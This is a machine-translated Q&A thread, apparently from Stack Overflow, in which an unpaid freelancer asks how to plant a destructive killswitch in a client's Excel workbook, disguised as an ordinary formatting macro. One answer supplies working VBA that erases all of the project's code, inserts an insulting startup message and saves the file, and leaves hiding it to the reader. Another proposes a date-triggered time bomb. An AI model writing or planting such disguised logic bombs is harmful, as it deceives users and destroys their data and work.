我有我的第一个"客户 - 带我的工作 - 然后 - 幻影 - 我没有付费"经验。对于未来,我想放入一个killswitch,伪装成一个普通的宏,这使整个事情无法使用。这样,即使他们雇用某人破解密码并删除我的"您的审判已经过期......"检查,一个看起来很正常的宏(像#34; Fix_Sheet_Formatting"之类的东西)很容易被忽视和运行,摧毁一切并保存更改。
然而,离开VBA ......我们在这里谈论完全清除,所以一切都必须去。我将自己弄清楚如何做所有这些,我只是不想浪费时间去追求一些不可能的事情:
VBA代码可以从工作簿运行时删除本身,还是从其他工作簿上的宏中删除?删除代码会导致宏停止运行,还是可以在完成所有操作后删除除了讨厌的MsgBox之外的所有内容?
答案 0 :(得分:5)
我会留下评论来辩论这是否是一个好主意(恕我直言,它可能不是)。至于问题本身,当然有可能,并且不会中断宏执行:
Public Sub Example()
Dim proj As Object
Set proj = ThisWorkbook.VBProject
Dim comp As Object
For Each comp In proj.VBComponents
With comp.CodeModule
.DeleteLines 1, .CountOfLines
If comp.Name = "ThisWorkbook" Then
.InsertLines 1, "Private Sub Workbook_Open()" & vbCrLf & _
vbTab & "MsgBox ""Where's my money, @#$%&!?""" & vbCrLf & _
"End Sub"
End If
End With
Next
ThisWorkbook.Save
End Sub
混淆是读者的一项练习。
答案 1 :(得分:1)
放入一个带有到期日期的循环作为您的付款数据。在内部编写代码以使宏进入无限循环或删除代码。 如果付款是按时进行的,则只需在上面的代码段中注释,否则请等待客户在循环中定义的第二天再次与您联系。